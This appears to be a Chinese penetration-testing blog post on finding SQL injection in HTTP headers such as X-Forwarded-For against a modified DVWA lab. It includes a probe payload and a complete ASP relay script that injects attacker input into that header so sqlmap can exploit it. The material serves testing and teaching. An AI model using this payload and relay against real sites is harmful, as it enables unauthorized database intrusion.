最新消息:

HTTP头注入的发现和工具化利用

工具 admin 1591浏览 0评论

目前市面上web漏扫均可以轻易的检测出以GET或POST方式传参的sql注入点,在实际测试过程中,笔者发现多数漏扫检测HTTP头注入问题的能力还不是太理想,这里分享下笔者对于HTTP头注入的发现和利用过程,欢迎各位大牛批评指正。

0×01、HTTP头注入的发现

推荐使用安装了Modify Headers插件的火狐浏览器对目标站点进行信息收集,该插件可以自定义HTTP 头信息,截图如下:

界 面很简单,其中select action下拉单中的三个选项中modify比add优先级高,filter为过滤头字段操作,这里以新增http头字段X-Forwarded- For为例,下图红框中最前面选择add,紧跟着写入X-Forwarded-For,然后输入自定义的数值:我这里输入“x- for’;”>xxoo<!–”(不含引号),配置完成后依次点击save、确定即完成配置。

然后使用火狐浏览器浏览存在X-Forwarded-For sql注入漏洞的站点,这里笔者略微改动下dvwa,以配合测试,如图:

用配置好的火狐登录dvwa后,点击SQL injection选项,user id随便输入后点击submit,弹出典型的sql注入报错页面如图:

实际测试中,我们可以同时定义多个http head字段,然后浏览目标网站,进而发现漏洞,用该配置浏览器上网,常有意外收获,这里贴一张实测截图:

0×02、HTTP头SQL注入的工具化利用

漏 洞发现了,下面讲讲利用。多数注入工具仅能覆盖http头中的cookie、user-agent等字段,对于X-Forwarded-For 等部分字段并不能全面覆盖。对于X-Forwarded-For sql注入,网上多是通过抓包增加“X-Forwarded-For :*”内容,然后利用Sqlmap –r 方式对其注入,笔者曾使用sqlmap1.0,同时测试变更level参数等操作,最终并未成功利用,这里还望实验成功的大牛指点。下面笔者介绍一个利用 寂寞的刺猬中转注入实现工具化利用的方法。 在寂寞的刺猬的中转注入代码中添加头字段”X-Forwarded-For”并赋值,值得注意的是这里不需要url编码和空格替换,代码略作修改后如下:

<%
‘感谢寂寞的刺猬
sqlStr=request("g")
'存在注入点的文件
actionUrl="http://192.168.184.137/dvwa/vulnerabilities/sqli/?id=&Submit=Submit"
'来源URL
refUrl="http://192.168.184.137/dvwa/vulnerabilities/sqli/"
'添加cookie信息,实现过认证注入
cookieStr="security=low; PHPSESSID=23887004dcb450bd3632e2bab6d30a31"
'发起HTTP请求
response.write PostData(actionUrl,sqlStr,cookieStr,refUrl)

'构造HTTP头注入数据包
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
.SetRequestHeader "Cookie",PostCok
.SetRequestHeader "X-Forwarded-For",PostStr
.Send "G"
PostData = .ResponseBody 
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>

本地搭建后利用sqlmap测试如图:

Wireshake抓包可以看到http 注入包构造成功

0×03、写在最后

一切输入都是“有害”的。web数据交互不仅仅局限于GPC(get/post/cookie),网站从http头中收集用户信息已成主流,这部分信息同样会存在常规的sql注入、xss等安全问题。最后,提醒大家有一个字段叫X-UP-Calling-Line-ID。

转载请注明:jinglingshu的博客 » HTTP头注入的发现和工具化利用

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址